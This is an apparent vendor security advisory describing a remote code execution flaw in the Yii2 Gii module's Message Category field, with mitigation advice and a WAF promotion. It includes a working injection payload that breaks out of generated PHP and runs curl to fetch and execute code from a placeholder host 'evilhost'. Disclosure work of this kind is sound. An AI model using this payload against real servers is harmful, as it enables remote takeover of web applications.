This article is written specifically for web developers who use a module. We will tell you how we got access to sensitive data on a staging server through Yii2 Gii Remote Code: First to the testing environment, and then to the production. Spoiler: We have notified the module developer about the problem and it will be fixed soon. A temporary patch is available on GitHub.


Gii is a module used to automatically generate code that implements some common website features:


Let's get started.


The packages we use: 

"yiisoft/yii2-debug": "~2.1.0",
       "yiisoft/yii2-gii": "^2.2",
       "yiisoft/yii2-faker": "~2.0.0",

Yii2 Framework 2.0.35


You can find Gii at the addresses like:


To successfully exploit the vulnerability, go to the Model Generator section.

The application must have a database configured, otherwise the model cannot be generated. 

Also, you must specify the existing table name in the Table Name field. 

The remaining fields can be filled arbitrarily up to the Enable I18N checkbox.

Once you select it, the Message Category field appears.

That's exactly where the vulnerability is hidden:

aaa', 'a'),];}}system('curl http://evilhost/b|php');__halt_compiler();

Click Preview, then click Generate. The answer should be:

The code has been generated successfully.

And next there will be data on successful generation, including a path to the model.

The vulnerability exists due to insufficient filtering of incoming parameters in the generateString function of the yiisoft/yii2-gii/src/Generator.php#L505 file. The $ this->messageCategory parameter is not filtered and allows you to embed arbitrary php code into the model file.

Here is an example file with embedded php code:

embedded php code

To execute arbitrary code, you need to enter the created model it in the Model Class field of the Form Generator section. This vulnerability can be exploited in any type of code generation with the Enable I18N option available.

Since the vulnerability still exists, those who use the Yii2 Gii Remote Code module need to check the following:

  1. Make sure that access to the developer's platform is closed: There should be no alpha/beta or other versions, and the development environment should not be open to external access.
  2. To patch the vulnerability, you should use the recommendations described by the module´s developer here
  3. Furthermore, we encourage you to install the Web Application Firewall which will fix such vulnerabilities and ensure the security of your web applications.

We would also like to note that developers should not underestimate access to their staging server, as it can help attackers gain access to their resources.

Start your Wallarm WAF trial for free today: